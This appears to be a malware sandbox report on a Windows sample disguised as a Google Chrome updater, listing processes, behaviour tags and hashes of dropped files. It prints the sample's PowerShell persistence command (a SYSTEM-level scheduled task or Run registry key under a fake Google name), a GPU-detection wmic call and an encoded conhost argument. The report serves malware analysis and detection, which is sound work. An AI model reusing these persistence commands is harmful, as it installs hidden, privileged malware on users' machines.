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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4648
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:4592 -
C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor3⤵
- Detects videocard installed
PID:2788
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:2052
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵PID:2484
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C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 31⤵PID:768
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C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4036 -
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:3112 -
C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor3⤵
- Detects videocard installed
PID:4784
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
345KB
MD582a2e3661298d08e9c6fa245b3d991a4
SHA1757d72fa17f1341f0628828e86be4de88a241a1c
SHA2564b23383dc924560960e697fcaee776e79acd40a2754fa11fceecbbaa78ef4ff7
SHA512a96e432328aad64b8632b11d08afa68dd9ea45c0183430e64b83e23be82565d276d1927fa2422da5f6c2e5890157a7f67c9ff10d2531b8091af2f94e010b9502
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Filesize
2.0MB
MD5a16a669a09bf158058b83e04e69fe38e
SHA1f6c94763850d9e590d86057139e8895a7aacdeea
SHA256cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
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Filesize
226B
MD5fdba80d4081c28c65e32fff246dc46cb
SHA174f809dedd1fc46a3a63ac9904c80f0b817b3686
SHA256b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
SHA512b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29
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Filesize
2KB
MD5440cb38dbee06645cc8b74d51f6e5f71
SHA1d7e61da91dc4502e9ae83281b88c1e48584edb7c
SHA2568ef7a682dfd99ff5b7e9de0e1be43f0016d68695a43c33c028af2635cc15ecfe
SHA5123aab19578535e6ba0f6beb5690c87d970292100704209d2dcebddcdd46c6bead27588ef5d98729bfd50606a54cc1edf608b3d15bef42c13b9982aaaf15de7fd6
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Filesize
944B
MD54d8567f2d1c8a09bbfe613145bf78577
SHA1f2af10d629e6d7d2ecec76c34bd755ecf61be931
SHA2567437b098af4618fbcefe7522942c862aeaf39a0b82ce05b0797185c552f22a3c
SHA51289130e5c514e33f5108e308f300614dc63989f3e6a4e762a12982af341ab1c5748dd93fd185698dcf6d3a1ea7234228d04ad962e4ee0a15a683e988f115a84ea
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Filesize
1KB
MD57661d0b4dc733b10a8f401452d63128d
SHA1b374bb6f3860ac70574f282738c7f456fbe2c33d
SHA256f6f4442564ab77163d4d1ffffc74c3d714102979ee9e075c5235174c6e5761db
SHA512788fad8d0684cccc776c41203df09335977cc67ed2e58c6d785eef9d38a33c1fa30d64360a88ff3d4603fa8dfe0f080e2279987c1e556db53d2bb8a38c047d0d
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize4KB
MD5bdb25c22d14ec917e30faf353826c5de
SHA16c2feb9cea9237bc28842ebf2fea68b3bd7ad190
SHA256e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
SHA512b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize1KB
MD5b42c70c1dbf0d1d477ec86902db9e986
SHA11d1c0a670748b3d10bee8272e5d67a4fabefd31f
SHA2568ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
SHA51257fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5